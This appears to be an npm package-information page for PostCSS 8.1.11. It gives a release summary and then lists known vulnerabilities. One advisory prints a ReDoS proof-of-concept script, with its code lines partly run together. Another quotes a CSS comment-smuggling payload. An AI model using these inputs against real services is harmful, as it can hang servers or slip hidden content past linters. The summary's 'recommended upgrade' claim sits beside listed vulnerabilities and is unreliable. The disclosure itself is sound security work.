PostCSS version 8.1.11 introduces subtle yet significant improvements over its predecessor, version 8.1.10. Primarily, the update involves a patch to the nanoid dependency, upgrading it from version 3.1.18 to 3.1.20. While seemingly minor, this dependency update likely incorporates bug fixes, performance enhancements, or security patches within the nanoid library itself, which is used by PostCSS for generating unique identifiers. Developers should appreciate that such updates ensure the stability and reliability of PostCSS in complex build processes and plugin ecosystems. Although other dependencies like colorette, source-map, and vfile-location remain consistent between the two versions, the nanoid update indicates a continuous effort to refine the underlying components. The newer version has a slightly larger unpacked size (199030 bytes vs 198543 bytes), hinting at the additions or changes within the updated dependency. Most users will notice this update as a regular, incremental improvement rather than a breaking change, maintaining compatibility with existing PostCSS configurations and plugins. Released on December 3rd, 2020, version 8.1.11 builds upon the solid foundation of PostCSS as a versatile tool for transforming styles with JavaScript plugins, reinforcing its commitment to providing a robust and up-to-date solution for modern web development workflows. This version is a recommended upgrade.
All the vulnerabilities related to the version 8.1.11 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.